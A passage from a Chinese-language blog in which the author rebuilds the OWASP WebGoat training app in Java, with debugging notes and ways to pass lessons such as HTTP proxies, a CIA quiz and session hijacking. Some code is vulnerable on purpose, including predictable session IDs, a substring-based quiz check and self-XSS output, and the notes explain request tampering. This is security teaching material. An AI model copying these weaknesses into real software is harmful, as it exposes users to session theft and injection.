flyway.migrate(); lessonsToInitialize.forEach(i->i.initialize(webSession.getUser())); } }
SessionService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.i18n.Messages;import com.wanan.webgoat.container.session.WebSession;import lombok.RequiredArgsConstructor;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller @RequiredArgsConstructor public class SessionService { private final WebSession webSession; private final RestartLessonService restartLessonService; private final Messages messages; @RequestMapping(path = "/service/enable-security.mvc",produces = "application/json") @ResponseBody public String applySecurity () { webSession.toggleSecurity(); restartLessonService.restartLesson(); var msg = webSession.isSecurityEnable() ? "security.enabled" :"security.disabled" ; return messages.getMessage(msg); } }
users RegistrationController package com.wanan.webgoat.container.users;import lombok.AllArgsConstructor;import lombok.Value;import lombok.extern.slf4j.Slf4j;import org.springframework.security.authentication.AuthenticationManager;import org.springframework.stereotype.Controller;import org.springframework.validation.BindingResult;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.ModelAttribute;import org.springframework.web.bind.annotation.PostMapping;import javax.servlet.ServletException;import javax.servlet.http.HttpServletRequest;import javax.validation.Valid;@Controller @AllArgsConstructor @Slf4j public class RegistrationController { private UserValidator userValidator; private UserService userService; private AuthenticationManager authenticationManager; @GetMapping("/registration") public String showForm (UserForm userForm) { return "registration" ; } @PostMapping("/register.mvc") public String registration (@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException{ userValidator.validate(userForm,bindingResult); if (bindingResult.hasErrors()){ return "registration" ; } userService.addUser(userForm.getUsername(),userForm.getPassword()); request.login(userForm.getUsername(),userForm.getPassword()); return "redirect:/attack" ; } }
UserValidator package com.wanan.webgoat.container.users;import lombok.AllArgsConstructor;import org.springframework.stereotype.Component;import org.springframework.validation.Errors;import org.springframework.validation.Validator;@Component @AllArgsConstructor public class UserValidator implements Validator { private final UserRepository userRepository; @Override public boolean supports (Class<?> clazz) { return UserForm.class.equals(clazz); } @Override public void validate (Object o, Errors errors) { UserForm userForm = (UserForm) o; if (userRepository.findByUsername(userForm.getUsername()) != null ){ errors.rejectValue("username" ,"username.duplicate" ); } if (!userForm.getMatchingPassword().equals(userForm.getPassword())){ errors.rejectValue("matchingPassword" ,"password.diff" ); } } }
package com.wanan.webgoat.container.users;import lombok.Getter;import lombok.Setter;import javax.validation.constraints.NotNull;import javax.validation.constraints.Pattern;import javax.validation.constraints.Size;@Getter @Setter public class UserForm { @NotNull @Size(min = 6,max = 45) @Pattern(regexp = "[a-z0-9-]*",message = "can only contain lowercase letters.digits,and -") private String username; @NotNull @Size(min = 6,max = 10) private String password; @NotNull @Size(min = 6,max = 10) private String matchingPassword; @NotNull private String agree; }
Scoreboard package com.wanan.webgoat.container.users;import com.wanan.webgoat.container.i18n.PluginMessages;import com.wanan.webgoat.container.lessons.Lesson;import com.wanan.webgoat.container.session.Course;import lombok.AllArgsConstructor;import lombok.Getter;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RestController;import java.util.ArrayList;import java.util.List;import java.util.Optional;@RestController @AllArgsConstructor public class Scoreboard { private final UserTrackerRepository userTrackerRepository; private final UserRepository userRepository; private final Course course; private final PluginMessages pluginMessages; @AllArgsConstructor @Getter private class Ranking { private String username; private List<String> flagsCaptured; } @GetMapping("/scoreboard-data") public List<Ranking> getRankings () { List<WebGoatUser> allUsers = userRepository.findAll(); List<Ranking> rankings = new ArrayList <>(); for (WebGoatUser user : allUsers){ if (user.getUsername().startsWith("csrf-" )){ continue ; } UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername()); rankings.add(new Ranking (user.getUsername(),challengesSolved(userTracker))); } rankings.sort((o1,o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size()); return rankings; } private List<String> challengesSolved (UserTracker userTracker) { List<String> challenges = List.of("Challenge1" , "Challenge2" , "Challenge3" , "Challenge4" , "Challenge5" , "Challenge6" , "Challenge7" , "Challenge8" , "Challenge9" ); return challenges.stream() .map(userTracker::getLessonTracker) .flatMap(Optional::stream) .filter(LessonTracker::isLessonSolved) .map(LessonTracker::getLessonName) .map(this ::toLessonTitle) .toList(); } private String toLessonTitle (String id) { String titleKey = course.getLessons().stream() .filter(l->l.getId().equals(id)) .findFirst() .map(Lesson::getTitle) .orElse("No title" ); return pluginMessages.getMessage(titleKey,titleKey); } }
UserSession package com.wanan.webgoat.container.users;import com.google.common.eventbus.AllowConcurrentEvents;import lombok.AccessLevel;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.NoArgsConstructor;import org.springframework.data.annotation.Id;@Getter @AllArgsConstructor @NoArgsConstructor(access = AccessLevel.PROTECTED) public class UserSession { private WebGoatUser webGoatUser; @Id private String sessionId; }
lessons 从下面开始我们就需要去到真正的题目中去了 我们慢慢分析
webgoat_introduction WebGoatIntroduction package com.wanan.webgoat.lessons.webgoat_introduction;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class WebGoatIntroduction extends Lesson { @Override public Category getDefaultCategory () { return Category.INTRODUCTION; } @Override public String getTitle () { return "webgoat.title" ; } }
排错 这里写完这些之后启动的时候发现出现了一个非常重要的错误,这里记录一下我去寻找错误代码的过程与思路.
这里的错误就是我们打开之后它没有显示我们的adoc文件的内容
首先我们需要去查看有无异常信息的抛出
这里给了一个空指针异常
我们打个断点去查看哪里出现了问题
很明显就是这里的resoucre的名字出现了问题 那么我首先去寻找了一下在哪里有调用了这里computeTemplateResource方法,因为这里很明显传参就出现了问题 其次这里也可以简单的看出来肯定是多了一个/或者少了一个/导致截取出现了问题 最终路径拼接不起来
就这么几个,我们看一下其实都不是我们自己去调用的,而是thymeleaf去给我们调用的
那么我们现在有两种思路第一种 我们根据这错误可能的形成原因去搜索可能存在错误的代码 这里肯定是lessons + …去进行拼接.因此我们直接去搜索lessons 在根据连接操作找到了这行代码
这里也是与先前推测的连接略有出入,但是这里也是进行截断操作
很明显这里缺少了一个. 导致在替换的时候出现了问题
第二种方式 根据我们现在的代码是针对lessons的,因此我们之间找到container 下面的lessons去翻找代码.
成功解决一项错误
解析 这里的Category其实是一个枚举类型因此这里其实返回的是关于本关卡的介绍 也就是这个是同一类型的关卡
进行两次查找去看看谁调用了这个方法
这里找到了Cource方法,在这里很明显吗这个类就是一个统计关卡的类
LessonMenuService这里很容易理解这里的这个就是在左边栏进行关卡的展示的
我们接下来去看看LessonMenuItem
这里的getTitle()其实是配置文件中的这个
webwolf_introduction WebWolfIntroduction package com.wanan.webgoat.lessons.webwolf_introduction;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class WebWolfIntroduction extends Lesson { @Override public Category getDefaultCategory () { return Category.INTRODUCTION; } @Override public String getTitle () { return "webwolf.title" ; } }
顺手处理另一个问题
这是原版的链接,点击后会爆404错误,这里我们首先想到的肯定是这个路径没有对应进去我们的系统,那么这里我们首先进行全局搜索
这里首先发现并没有这个路径,那么接下来由于WebWolf是我们添加的默认前缀,那么我们只需要去搜索后面的/home就好
这里除去上面的dockerfile的home,那么我们首先看到的就是这里的addViewController(),这里匹配的路径是/home,那么我们就有两个思路去修复,一是去更改html代码,使之进行匹配,第二就是更改这里在前面添加上/WebWolf,这里我们进行添加并重启进行尝试
成功跳转 但是这里出现了一个重要的问题 当我们直接从这里去打开 这里跳转的是/home 两种情况出现差别主要是处理的逻辑不同
我们先看第一种的操作
可以清楚的看到这里其实是直接通过链接进行访问的webwolf
而第二种其实是通过重定向跳转的
稍做修改 就可以成功跳转了
MailAssignment package com.wanan.webgoat.lessons.webwolf_introduction;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.apache.commons.lang3.StringUtils;import org.springframework.beans.factory.annotation.Value;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.client.RestClientException;import org.springframework.web.client.RestTemplate;@RestController public class MailAssignment extends AssignmentEndpoint { private final String webWolfURL; private RestTemplate restTemplate; public MailAssignment (RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { this .restTemplate =restTemplate; this .webWolfURL = webWolfURL; } @PostMapping("/WebWolf/mail/send") @ResponseBody public AttackResult sendEmail (@RequestParam String email) { String username = email.substring(0 ,email.indexOf("@" )); if (username.equalsIgnoreCase(getWebSession().getUserName())){ Email mailEvent = Email.builder() .recipient(username) .title("Test messages from WebWolf" ) .contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username)) .sender("webgoat@owasp.org" ) .build(); try { restTemplate.postForEntity(webWolfURL,mailEvent,Object.class); }catch (RestClientException e){ return informationMessage(this ).feedback("webwolf.email_failed" ).output(e.getMessage()).build(); } return informationMessage(this ).feedback("webwolf.email_send" ).feedbackArgs(email).build(); }else { return informationMessage(this ).feedback("webwolf.email_mismatch" ).feedbackArgs(username).build(); } } @PostMapping("/WebWolf/mail") @ResponseBody public AttackResult completed (@RequestParam String uniqueCode) { if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))){ return success(this ).build(); }else { return failed(this ).feedbackArgs("webwolf.code_incorrect" ).feedbackArgs(uniqueCode).build(); } } }
这里可以看到是自动装配的
这里也查找的Bean容器可见下面仅仅是设置了一下基础信息 我们进去pluginMessages()构造方法看看先
这里也是比较简单的进行了基础值的赋值操作 我们先来看看这个Messages
可以看到这里的setBasename
清楚看到可以读取这里的messages配置文件
我们接着去看refreshProperties
这里可以看到我们自己并没有去调用这个refreshProperties() 说明这里也是框架给我们调用的 这里我们分析一下
Email package com.wanan.webgoat.lessons.webwolf_introduction;import lombok.Builder;import lombok.Data;import java.io.Serializable;@Builder @Data public class Email implements Serializable { private String contents; private String sender; private String title; private String recipient; }
简单易懂
排错 但是这里发送邮箱会报错
将id自增策略更改如下
@GeneratedValue(strategy = GenerationType.IDENTITY)
这里更改完成之后遇到了一个无法解决的报错 说表并不存在 但是我翻遍了也没找到这个表在哪建的 因此我觉得换回原先的hsqldb数据库,但是这个数据库存在一个极大的弊端就是他的连接只能存在一个也就是如果项目启动起来的时候,就无法通过
更换为hsqldb并进行连接查看 首先我们换回配置文件
这里成功启动起来
我们尝试去连接
首先这里存在几个值路径信息 url 数据库 用户 和密码 很明显这里的路径信息和数据库肯定是用来拼接最后的url的,首先我们尝试获取一下这里的值
一种比较简单的方式就是去查看我们项目启动后输出的日志信息
第二种方式 这里我们可以去自己去寻找具体路径是如何进行拼接的然后自己去查看位置
第三种方式我们尝试去输出一下日志信息
下一个问题我们如何去寻找用户名密码 首先我尝试了无密码的认证方式,发现并未通过
接下来我开始翻看这些文件 在这里发现了两个特殊的参数 前面这个SA一看就是用户名 后面的一看就是一个MD5值
发现是空密码
但是第一次其实并没有连接成功主要原因其实就是我的项目已经启动了,因此占用着这个进程,导致我的连接失败了
停止项目之后就连接成功了
其次这里需要在架构这里添加上所有的数据库
这里我们如果想要去更改用户名和密码的话,相信你也能想到了
更改这个文件并更改配置文件即可
现在便成功的连接上了
当需要启动项目时点击停用即可 不知道有没有方式可以去实现同时连接
这里需要先对数据进行初始化
测试下邮箱功能 注意这里的@前面需要是一个你注册的用户名
去webwolf可以查看到
这里根据这个unique也可以查看到成功完成了这项挑战
LandingAssignment package com.wanan.webgoat.lessons.webwolf_introduction;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.apache.commons.lang3.StringUtils;import org.springframework.beans.factory.annotation.Value;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;import java.net.URI;import java.net.URISyntaxException;@RestController public class LandingAssignment extends AssignmentEndpoint { @Value("${webwolf.landingpage.url}") private String landingPageUrl; @PostMapping("/WebWolf/landing") @ResponseBody public AttackResult click (String uniqueCode) { if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)){ return success(this ).build(); } return failed(this ).feedback("webwolf.landing_wrong" ).build(); } @GetMapping("/WebWolf/landing/password-reset") public ModelAndView openPasswordReset (HttpServletRequest request) throws URISyntaxException{ URI uri = new URI (request.getRequestURI().toString()); ModelAndView modelAndView = new ModelAndView (); modelAndView.addObject("webwolfUrl" ,landingPageUrl); modelAndView.addObject("uniqueCode" ,StringUtils.reverse(getWebSession().getUserName())); modelAndView.setViewName("lessons/webwolf_introduction/templates/webwolfPasswordReset.html" ); return modelAndView; } }
可以看到这里是一个form表单 而且当点击save之后会向webwolfurl去发送请求
到这里我们先放一下去看一下webwolf 的landing是怎么配置的
这里也比较简单能够理解就是当请求/landing/**路径下时会打印一个日志 这里我们暂时看不出问题来 所以我们先去看requests
这里很容易找到其实这里的初始化操作是在@Bean执行的而且是交给spring容器管理的
现在我们已经知道了我们的http请求其实是存放在traces中的,那么是在什么时候添加进去的呢?
可以看到其实是spring自动调用的
这里我进行了简单的尝试,发现在进入return语句之后 在log.trace执行之前调用了add方法.这里不太能理解为什么.主要是一个http请求应该包括响应 那么按理应该是在所有的return结束之后在调用才对啊.
我们去看一下request
这里可能有点难以理解 刚开始我不知道这个t是如何去赋值的 其实这里简单的理解 就是首先我们traceRepository.findAllTraces() 这个获取的是一个list 而后面的stream()其实就代表着一个一个的去读取 接着呢 在每一次读取之中进行了过滤filter 操作 ,而由于每一次读取的时候是读取到了一个HttpTrace对象,那么这个参数t自然就是读取到的这个HttpTrace对象了
下面这里也很好理解就是转换成json格式的数据
将得到的值进行存入
现在可以完全理解这个系统了吗
这里的更改密码其实是攻击者伪造的更改密码链接 但是其实这里点击save之后会跳转 实战时是需要进行重新修改的
当我们更改之后就会将更改的密码发送到
由于webwolf会存储landing路径下的请求因此这里会进行展示
提交即可过关
http_basics HttpBasics package com.wanan.webgoat.lessons.http_basics;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class HttpBasics extends Lesson { @Override protected Category getDefaultCategory () { return Category.GENERAL; } @Override public String getTitle () { return "1.http-basics.title" ; } }
介绍
HttpBasicsLesson package com.wanan.webgoat.lessons.http_basics;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"http-basics.hints.http_basics_lesson.1"}) public class HttpBasicsLesson extends AssignmentEndpoint { @PostMapping("/HttpBasics/attack1") @ResponseBody public AttackResult completed (@RequestParam String person) { if (!person.isBlank()){ return success(this ) .feedback("http-basics.reversed" ) .feedbackArgs(new StringBuilder (person).reverse().toString()) .build(); }else { return failed(this ).feedback("http-basics.empty" ).build(); } } }
这里的show hints其实是注解 我们需要去看看
这里存在我们对AssignmentHints接口的定义 其中有一个value参数
在这里我们找到了用法
一步步往上查找
这里可见对course进行了bean的注入
感觉这里其实是无法调用到的 找遍也没有发现那个请求发送到这里
其次在StartLesson类的构造方法我并未找到有用户调用 那么原因是不是由于@Controller导致该类有springboot帮助我们去调用了
接着我们去看bean对象的赋值
现在我们去看new Assignment
现在我们已经理解了hints存储在了哪里,接下来我们去寻找哪里进行了调用获取hints
一个hint 一个路径
聪明的你一定发现了 这里的hint并不是点击请求的而是一次性请求 存储在前端的
那么这关我们只要不输入空字符即可过关
HttpBasicsQuiz package com.wanan.webgoat.lessons.http_basics;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AssignmentPath;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"http-basics.hints.http_basic_quiz.1","http-basics.hints.http_basic_quiz.2"}) @AssignmentPath("HttpBasics/attack2") public class HttpBasicsQuiz extends AssignmentEndpoint { @PostMapping("/HttpBasics/attack2") @ResponseBody public AttackResult completed (@RequestParam String answer,@RequestParam String magic_answer,@RequestParam String magic_num) { if ("POST" .equalsIgnoreCase(answer) && magic_answer.equals(magic_num)){ return success(this ).build(); }else { if (!"POST" .equalsIgnoreCase(answer)){ return failed(this ).feedback("http-basics.incorrect" ).build(); } if (!magic_answer.equals(magic_num)){ return failed(this ).feedback("http-basics.magic" ).build(); } } return failed(this ).build(); } }
这里AssignmentPath 并没有去使用 推测可能是webgoat没有写完
这里可能需要去抓包 先去看一下请求方式和 magic number
或者直接观察前端代码
http_proxies HttpProxies package com.wanan.webgoat.lessons.http_proxies;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class HttpProxies extends Lesson { @Override protected Category getDefaultCategory () { return Category.GENERAL; } @Override public String getTitle () { return "2.http-proxies.title" ; } }
HttpBasicsInterceptRequest package com.wanan.webgoat.lessons.http_proxies;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.http.HttpMethod;import org.springframework.web.bind.annotation.*;import javax.servlet.http.HttpServletRequest;@RestController public class HttpBasicsInterceptRequest extends AssignmentEndpoint { @RequestMapping(path = "/HttpProxies/intercept-request",method = {RequestMethod.POST,RequestMethod.GET}) @ResponseBody public AttackResult completed (@RequestHeader(value = "x-request-intercepted",required = false) Boolean headerValue, @RequestParam(value = "changeMe",required = false) String paramValue, HttpServletRequest request) { if (HttpMethod.POST.matches(request.getMethod())){ return failed(this ).feedback("http-proxies.intercept.failure" ).build(); } if (headerValue != null && paramValue != null && headerValue && "Requests are tampered easily" .equalsIgnoreCase(paramValue)){ return success(this ).feedback("http-proxies.intercept.success" ).build(); }else { return failed(this ).feedback("http-proxies.intercept.failure" ).build(); } } }
完成题目 主要是教会你抓包并修改请求包
package com.wanan.webgoat.lessons.chrome_dev_tools;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class ChromeDevTools extends Lesson { @Override protected Category getDefaultCategory () { return Category.GENERAL; } @Override public String getTitle () { return "3.chrome-dev-tools.title" ; } }
NetworkDummy package com.wanan.webgoat.lessons.chrome_dev_tools;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController public class NetworkDummy extends AssignmentEndpoint { @PostMapping("/ChromeDevTools/dummy") @ResponseBody public AttackResult completed (@RequestParam String successMessage) { UserSessionData userSessionData = getUserSessionData(); String answer = (String) userSessionData.getValue("randValue" ); if (successMessage != null && successMessage.equals(answer)){ return success(this ).feedback("xss-dom-message-success" ).build(); }else { return failed(this ).feedback("xss-dom-message-failure" ).build(); } } }
那么暂时情况下我们没有找到给userSessionData.Value(“randValue”)赋值的地方 这里我们首先去查找一下哪里调用了这个setValue
很明显这里其实暂时仅仅有一个地方调用了 那么现在读下来其实我们这道题目是无法去做的 因此我选择去看前端的题目要求
可以简单的理解一下就是像让我们去通过console去调用这个js方法 这里找了半天才找到这个js文件
尝试去调用的时候也是很明显的出现了问题那么我们现在需要去做的是看看哪里有关于这个路径的信息
这里在xss关卡其实有调用
因此这里选择去先写这个文件
xss DOMCrossSiteScripting package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import java.security.SecureRandom;@RestController public class DOMCrossSiteScripting extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/phone-home-xss") @ResponseBody public AttackResult completed (@RequestParam Integer param1, @RequestParam Integer param2, HttpServletRequest request) { UserSessionData userSessionData = getUserSessionData(); SecureRandom number = new SecureRandom (); userSessionData.setValue("randValue" ,String.valueOf(number.nextInt())); if (param1 == 42 && param2 == 24 && request.getHeader("webgoat-requested-by" ).equals("dom-xss-vuln" )){ return success(this ).output("phoneHome Response is " + userSessionData.getValue("randValue" ).toString()).build(); }else { return failed(this ).build(); } } }
由于在上面进行了对比successMessage.equals(answer)
所以这里的phoneHome需要我们提交进去就可以过关
这里过关之后我会删除xss/DOMCrossSiteScripting.java
NetworkLesson package com.wanan.webgoat.lessons.chrome_dev_tools;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"networkHint1","networkHint2"}) public class NetworkLesson extends AssignmentEndpoint { @PostMapping(value = "/ChromeDevTools/network",params = {"network_num","number"}) @ResponseBody public AttackResult completed (@RequestParam String network_num,@RequestParam String number) { if (network_num.equals(number)){ return success(this ).feedback("network.success" ).output("" ).build(); }else { return failed(this ).feedback("network.failed" ).build(); } } @PostMapping(path = "/ChromeDevTools/network",params = "networkNum") @ResponseBody public ResponseEntity<?> ok(@RequestParam String networkNum){ return ResponseEntity.ok().build(); } }
根据network去查看一下向 ChromeDevTools/network 发送的payload
输入即可过关
当然也可通过check抓取值
cia CIA package com.wanan.webgoat.lessons.cia;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class CIA extends Lesson { @Override protected Category getDefaultCategory () { return Category.GENERAL; } @Override public String getTitle () { return "4.cia.title" ; } }
CIAQuiz package com.wanan.webgoat.lessons.cia;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.*;@RestController public class CIAQuiz extends AssignmentEndpoint { String[] solutions = {"Solution 3" ,"Solution 1" ,"Solution 4" , "Solution 2" }; boolean [] guesses = new boolean [solutions.length]; @PostMapping("/cia/quiz") @ResponseBody public AttackResult completed (@RequestParam String[] question_0_solution,@RequestParam String[] question_1_solution,@RequestParam String[] question_2_solution,@RequestParam String [] question_3_solution) { int correctAnswers = 0 ; String[] givenAnswers = {question_0_solution[0 ],question_1_solution[0 ],question_2_solution[0 ],question_3_solution[0 ]}; for (int i = 0 ; i < solutions.length;i++){ if (givenAnswers[i].contains(solutions[i])){ correctAnswers++; guesses[i] = true ; }else { guesses[i] = false ; } } if (correctAnswers == solutions.length){ return success(this ).build(); }else { return failed(this ).build(); } } @GetMapping("/cia/quiz") @ResponseBody public boolean [] getResults(){ return this .guesses; } }
这里也比较简单 看下发送的 请求 可以发现当提交了答案之后会立马去get请求一次答案
第一种过关方法就是一个个试去找正确答案
另一种方式就是根据检查答案的方式 既然答案检查的是是否包含这个字段,那么我们只要把字段全部包含就可了
但是呢实际这样写并不会通过,我们来看看可以发现这里的请求参数默认以,进行了分割,导致并没有取到值
这样写即可完成
lesson_template LessonTemplate package com.wanan.webgoat.lessons.lesson_template;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class LessonTemplate extends Lesson { @Override protected Category getDefaultCategory () { return Category.GENERAL; } @Override public String getTitle () { return "lesson-template.title" ; } }
SampleAttack package com.wanan.webgoat.lessons.lesson_template;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import lombok.AllArgsConstructor;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.*;import java.util.List;@RestController @AssignmentHints({"lesson-template.hints.1","lesson-template.hints.2","lesson-template.hints.3"}) public class SampleAttack extends AssignmentEndpoint { String secretValue = "secr37Value" ; @Autowired UserSessionData userSessionData; @PostMapping("/lesson-template/sample-attack") @ResponseBody public AttackResult completed (@RequestParam("param1") String param1,@RequestParam("param2") String param2) { if (userSessionData.getValue("some-value" ) != null ){ } if (secretValue.equals(param1)){ return success(this ) .output("Custom Output ...if you want, for success" ) .feedback("lesson-template.sample-attack.success" ) .build(); } return failed(this ).feedback("lesson-template.sample-attack.failure-2" ) .output("Custom output for this failure scenario, usually html that will get rendered directly ... yes, you can self-xss if you want" ) .build(); } @GetMapping("/lesson-template/shop/{user}") @ResponseBody public List<Item> getItemsInBasket (@PathVariable("user") String user) { return List.of(new Item ("WG-1" ,"WebGoat promo" ,12.8 ),new Item ("WG-2" ,"webGoat sticker" ,0.00 )); } @AllArgsConstructor private class Item { private String number; private String description; private double price; } }
这一关其实就是教我们如何自己去出题目的,那么其实这里就是样例
简单通过阅读代码发现只要第一个参数与密钥相同就可过关
hijacksession HijackSession package com.wanan.webgoat.lessons.hijacksession;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class HijackSession extends Lesson { @Override protected Category getDefaultCategory () { return Category.A1; } @Override public String getTitle () { return "hijacksession.title" ; } }
HijackSessionAssignment 这里说明一下这里的顺序其实是代表着书写的顺序 如果需要去阅读的话建议从后向前读更好理解 或者先写一遍 然后理解
package com.wanan.webgoat.lessons.hijacksession;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.hijacksession.cas.Authentication;import com.wanan.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider;import org.apache.commons.lang3.StringUtils;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.*;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServletResponse;@RestController @AssignmentHints({ "hijacksession.hints.1", "hijacksession.hints.2", "hijacksession.hints.3", "hijacksession.hints.4", "hijacksession.hints.5", }) public class HijackSessionAssignment extends AssignmentEndpoint { private static final String COOKIE_NAME = "hijack_cookie" ; @Autowired HijackSessionAuthenticationProvider provider; @PostMapping(path = "/HijackSession/login") @ResponseBody public AttackResult login (@RequestParam String username, @RequestParam String password, @CookieValue(value = COOKIE_NAME,required = false) String cookieValue, HttpServletResponse response) { Authentication authentication; if (StringUtils.isEmpty(cookieValue)){ authentication = provider.authenticate(Authentication.builder().name(username).credentials(password).build()); setCookie(response,authentication.getId()); }else { authentication = provider.authenticate(Authentication.builder().id(cookieValue).build()); } if (authentication.isAuthenticated()){ return success(this ).build(); } return failed(this ).build(); } private void setCookie (HttpServletResponse response,String cookieValue) { Cookie cookie = new Cookie (COOKIE_NAME,cookieValue); cookie.setPath("/WebGoat" ); cookie.setSecure(true ); response.addCookie(cookie); } }
cas HijackSessionAuthenticationProvider package com.wanan.webgoat.lessons.hijacksession.cas;import org.apache.commons.lang3.StringUtils;import org.springframework.stereotype.Component;import org.springframework.web.context.annotation.ApplicationScope;import java.time.Instant;import java.util.LinkedList;import java.util.Queue;import java.util.Random;import java.util.concurrent.ThreadLocalRandom;import java.util.function.DoublePredicate;import java.util.function.Supplier;@ApplicationScope @Component public class HijackSessionAuthenticationProvider implements AuthenticationProvider <Authentication> { private Queue<String> sessions = new LinkedList <>(); private static long id = new Random ().nextLong() & Long.MAX_VALUE; protected static final int MAX_SESSIONS = 50 ; private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75 ; private static final Supplier<String> GENERATE_SESSION_ID = () -> ++id + "-" + Instant.now().toEpochMilli(); public static final Supplier<Authentication> AUTHENTICATION_SUPPLIER = () -> Authentication .builder() .id(GENERATE_SESSION_ID.get()) .build(); @Override public Authentication authenticate (Authentication authentication) { if (authentication == null ){ return AUTHENTICATION_SUPPLIER.get(); } if (StringUtils.isNotEmpty(authentication.getId()) && sessions.contains(authentication.getId())) { authentication.setAuthenticated(true ); return authentication; } if (StringUtils.isEmpty(authentication.getId())){ authentication.setId(GENERATE_SESSION_ID.get()); } authorizedUserAutoLogin(); return authentication; } protected void authorizedUserAutoLogin () { if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())){ Authentication authentication = AUTHENTICATION_SUPPLIER.get(); authentication.setAuthenticated(true ); addSession(authentication.getId()); } } protected boolean addSession (String sessionId) { if (sessions.size() >= MAX_SESSIONS) { sessions.remove(); } return sessions.add(sessionId); } protected int getSessionsSize () { return sessions.size(); } }
Authentication package com.wanan.webgoat.lessons.hijacksession.cas;import lombok.Builder;import lombok.Getter;import lombok.ToString;import java.security.Principal;@Getter @ToString public class Authentication implements Principal { private boolean authenticated = false ; private String name; private Object credentials; private String id; @Builder public Authentication (boolean authenticated, String name, Object credentials, String id) { this .name = name; this .credentials = credentials; this .id = id; } @Override public String getName () { return name; } protected void setAuthenticated (boolean authenticated) { this .authenticated = authenticated; } protected void setId (String id) { this .id = id; } }
